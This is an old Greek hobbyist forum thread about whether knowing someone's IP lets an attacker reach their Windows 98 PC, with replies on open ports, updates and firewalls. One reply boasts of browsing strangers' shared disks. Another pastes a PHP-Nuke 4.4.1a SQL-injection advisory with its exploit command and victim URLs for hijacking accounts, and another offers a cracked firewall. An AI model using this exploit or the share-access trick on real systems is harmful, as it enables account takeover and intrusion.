Απορίες ΙΡ....

[fwtonio]

Υποθέτουμε οτι ΔΕΝ έχω στον Η/Υ trojan. Εάν γνωρίζει κάποιος γνωρίζει το ΙΡ μου, μπορεί να δεί στον σκληρό μου; ή να δεί που κάνω σερφ και τι κωδικούς χρησιμοποιώ;;;; (Σωστή παρατήρηση...) Μιλάμε για τα win 98 και τον IE5 ΜΟΝΟ..<p>[ 04-06-2001: Message edited by: fwtonio ]

[NeTeD]

Paizei rolo kai to leitourgiko pou xrisimopoieis kathws kai ti efarmoges trexeis. Kyriws paizoun rolo oi efarmoges-servers pou anoigoun kapoia port ston ypologisth sou.<P>An exeis win98 px xwris na trexeis server programata, einai poly dyskolo ews adynato na mpei kapoios sto pc sou. An twra trexeis kapoion web server, h kapoio ftp server, kalo einai na checkareis sto <A HREF="http://neworder.box.sk" TARGET=_blank>http://neworder.box.sk</A> mhpws exei vgei kapoio exploit gia to programa pou xrisimopoieis kai epitrepei prosvasi sto disko sou, apo lathos tou kwdika tou!<BR>Kalo einai malista na fortwneis kathe update twn windows pou vgenei kyriws an trexeis win2000 'h winnt kai trexeis ton IIS pou palioteres versions hackarontai eykola.<P>An exeis linux, ta idia pragmata isxyoun kai ekei panw katw. Na koitas mipos yparxoun exploits gia programata pou xrisimopoieis kai na frontizeis eite na ta anavathmizeis eite na ta katargeis entelws.

[CONAN]

Safws kai mporei kapoios na mpei sto pc sou an 3erei to IP sou. Vevaia gia na ginei ayto tha prepei esy na exeis energopoihmenh thn epilogh "I want to be able to give others access to my files" mesa apo to "file and print sharing" sta properties tou diktyou.Me aytes tis proypo8eseis otan kapoios grapsei \\xxx.xxx.xxx.xxx\ mesa sto Start-Run tou anoigei ena para8yro me ton disko tou Ip.Kai mporei na kaneis oti thes tote....Toso aplo !!! (sto lew giati exw mpei se alla IP..)

[MoUCLAs]

KAI AYTA TA EXPLOITS PW TA XRHSIMOPOIEIS? AS POYME PHGA KAI PATHSA SEARC GIA MSN.KAI MOY EBGALE MIA LISTA.PATHSA SE AYTO POY HTAN PIO KAINOYRGIO KAI MOY EBGALE:<BR>"HP-Nuke Bad SQL Query Filtering<BR>Apr, 26 2001 - 20:38<BR>contributed by: hx<BR>Summary <BR>PHP-Nuke is a news-automated system specially designed to be used in Intranets and on the Internet. The checks that are implemented in PHP-Nuke's saveuser() function are not enough to block arbitrary information from being passed to the query processed by MySQL.<BR>There are also many other functions (besides saveuser) that can be exploited in a similar way.<BR>Details <BR>Vulnerable Systems:<BR>PHP-Nuke version 4.4.1a<BR>Impact:<BR>It's possible for an attacker to change the e-mail address of one of the users and ask for the password to be sent to the e-mail address that the attacker have provided. Of course this isn't easy since we do not know the UID of each of the users, but this type of information can be easily obtained with brute force checks.<BR>Exploit:<BR>$ /bin/echo -e "0:<user>:2:3:4:5:6:7:8:eee" | uuencode -m f begin-base64 644 fMDpBbm9ueW1vdXM6MjozOjQ6NTo2Ojc6ODplZWUK [***]<BR>lynx <A HREF="http://victim/user.php?op=saveuser&user='>http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=<user>" TARGET=_blank>http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=<user></A> <BR>The variables that can be modified remotely are:<BR>name='', email='', femail='', url='', bio='' , user_avatar='', user_icq='', user_occ='', user_from='', user_intrest='', user_sig='', user_aim='', user_yim='', user_msnm=''<BR>In other words, if we want to change the e-mail address, we do: <A HREF="http://victim/user.php&op=saveuser&user='>http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=<user>&email=<email" TARGET=_blank>http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=<user>&email=<email</A> you want><BR>If you ask for the password to be sent by e-mail, you would be able to access the account.<BR>Additional information <BR>The information has been provided by venomous. "

[placid]

an o allos thelei na exei prosbasi sto pc sou kai sou steilei ena trojan analoga me to programma pou xrisimopoiei mporei na exei prosbasi .. to bo2k (http://www.bo2k.com) akoma kai tous kodikous sou dinei an kai to kalitero (opos eixa kanei) einai na tou bgazeis pop up kai exei kai fasi .. tora alla opos to netbus exoun alles dynatotites px.. tp bo2k mporei na krasarei to systima klp .. bebaia mporoun kai na sou sbisoune zotika arxeia ton windows .. gia tin apofygi tha eprepe na baleis kapio firewall .. bale to zone alaram apo <A HREF="http://www.zonealarm.com" TARGET=_blank>www.zonealarm.com</A> i to norton pesonal firewall apo <A HREF="http://www.norton.com" TARGET=_blank>www.norton.com</A> (stile pm na sou steilo to crack an thes) .. bye !